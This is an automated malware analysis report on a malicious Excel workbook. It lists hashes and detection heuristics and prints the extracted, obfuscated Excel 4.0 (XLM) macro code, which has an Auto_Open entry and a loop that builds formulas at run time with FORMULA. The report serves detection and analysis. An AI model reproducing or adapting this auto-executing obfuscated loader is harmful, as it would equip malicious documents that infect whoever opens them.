Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 321484245976797b…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-25 10:40:21 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: ea410f35e7cd87351b060b33899c0940 SHA-1: 8623808757dd040e09201bf77300e1b9a7579220 SHA-256: 321484245976797b5c6d23a56693092905876802939c10e154852563c48297ef
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6795 bytes
SHA-256: 74bb49cc7e8495f3cdebf228018ce5b89b5c662219b781ec36799331bf275c7d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PoSvkSPyNtk
' 0018     20 LABEL : Cell Value, String Constant - aLXip len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C188 
' 0018     24 LABEL : Cell Value, String Constant - EprznyXnY len=0 
' 0018     26 LABEL : Cell Value, String Constant - EqEgDskoBMv len=0 
' 0018     26 LABEL : Cell Value, String Constant - fZkbcOhunFF len=0 
' 0018     24 LABEL : Cell Value, String Constant - GjlnVabTO len=0 
' 0018     22 LABEL : Cell Value, String Constant - KLjMkjS len=0 
' 0018     27 LABEL : Cell Value, String Constant - KrbmjkjKectV len=0 
' 0018     24 LABEL : Cell Value, String Constant - KSqxlpqKu len=0 
' 0018     21 LABEL : Cell Value, String Constant - MxsZPy len=0 
' 0018     20 LABEL : Cell Value, String Constant - NlAuG len=0 
' 0018     27 LABEL : Cell Value, String Constant - RATufoyVOXrP len=0 
' 0018     20 LABEL : Cell Value, String Constant - rhWLq len=0 
' 0018     22 LABEL : Cell Value, String Constant - TDOSqTV len=0 
' 0018     27 LABEL : Cell Value, String Constant - TjIzHtDbWJMm len=0 
' 0018     27 LABEL : Cell Value, String Constant - WpbvnrmDJUCc len=0 
' 0018     26 LABEL : Cell Value, String Constant - xPoriLbxrlZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - yBdgyA len=0 
' 0018     24 LABEL : Cell Value, String Constant - YisoozWAW len=0 
' 0018     26 LABEL : Cell Value, String Constant - yniTyWpwpcE len=0 
' 0018     27 LABEL : Cell Value, String Constant - zCUpHsFimtCd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PoSvkSPyNtk,C93,"SET.NAME("NlAuG",VALUE("0"))",""
'  PoSvkSPyNtk,C98,"SET.NAME("YisoozWAW",NlAuG)",""
'  PoSvkSPyNtk,C102,"SET.NAME("MxsZPy",NlAuG)",""
'  PoSvkSPyNtk,C104,"SET.NAME("aLXip",COUNTA(KSqxlpqKu))",""
'  PoSvkSPyNtk,C109,"SET.NAME("WpbvnrmDJUCc",COUNTA(yniTyWpwpcE))",""
'  PoSvkSPyNtk,C113,[],""
'  PoSvkSPyNtk,C115,"SET.NAME("fZkbcOhunFF","")",""
'  PoSvkSPyNtk,C119,"YisoozWAW",""
'  PoSvkSPyNtk,C121,"SET.NAME("zCUpHsFimtCd",HLOOKUP("*",KSqxlpqKu,YisoozWAW,FALSE))",""
'  PoSvkSPyNtk,C125,"TDOSqTV",""
'  PoSvkSPyNtk,C130,"SET.NAME("KrbmjkjKectV",NlAuG)",""
'  PoSvkSPyNtk,C135,[],""
'  PoSvkSPyNtk,C140,"KrbmjkjKectV",""
'  PoSvkSPyNtk,C142,"EprznyXnY",""
'  PoSvkSPyNtk,C145,"xPoriLbxrlZ",""
'  PoSvkSPyNtk,C149,"EqEgDskoBMv",""
'  PoSvkSPyNtk,C153,"SET.NAME("KLjMkjS",VALUE(HLOOKUP("*",yniTyWpwpcE,EqEgDskoBMv,FALSE)))",""
'  PoSvkSPyNtk,C158,"yBdgyA",""
'  PoSvkSPyNtk,C160,"fZkbcOhunFF",""
'  PoSvkSPyNtk,C165,"MxsZPy",""
'  PoSvkSPyNtk,C169,NEXT(),""
'  PoSvkSPyNtk,C172,"rhWLq",""
'  PoSvkSPyNtk,C176,"SET.NAME("f",INT(T(FORMULA(T(fZkbcOhunFF)&"",""&T(rhWLq)))))",""
'  PoSvkSPyNtk,C178,"GjlnVabTO",""
'  PoSvkSPyNtk,C183,NEXT(),""
'  PoSvkSPyNtk,C185,RETURN(),""
'  PoSvkSPyNtk,C210,"SET.NAME("TjIzHtDbWJMm",C93)",""
'  PoSvkSPyNtk,C215,"KSqxlpqKu",""
'  PoSvkSPyNtk,C217,"SET.NAME("yniTyWpwpcE",R66C13)",""
'  PoSvkSPyNtk,C222,"SET.NAME("GjlnVabTO",228)",""
'  PoSvkSPyNtk,C224,"SET.NAME("RATufoyVOXrP",3)",""
'  PoSvkSPyNtk,C227,TjIzHtDbWJMm(),""
'  PoSvkSPyNtk,C228,HALT(),""

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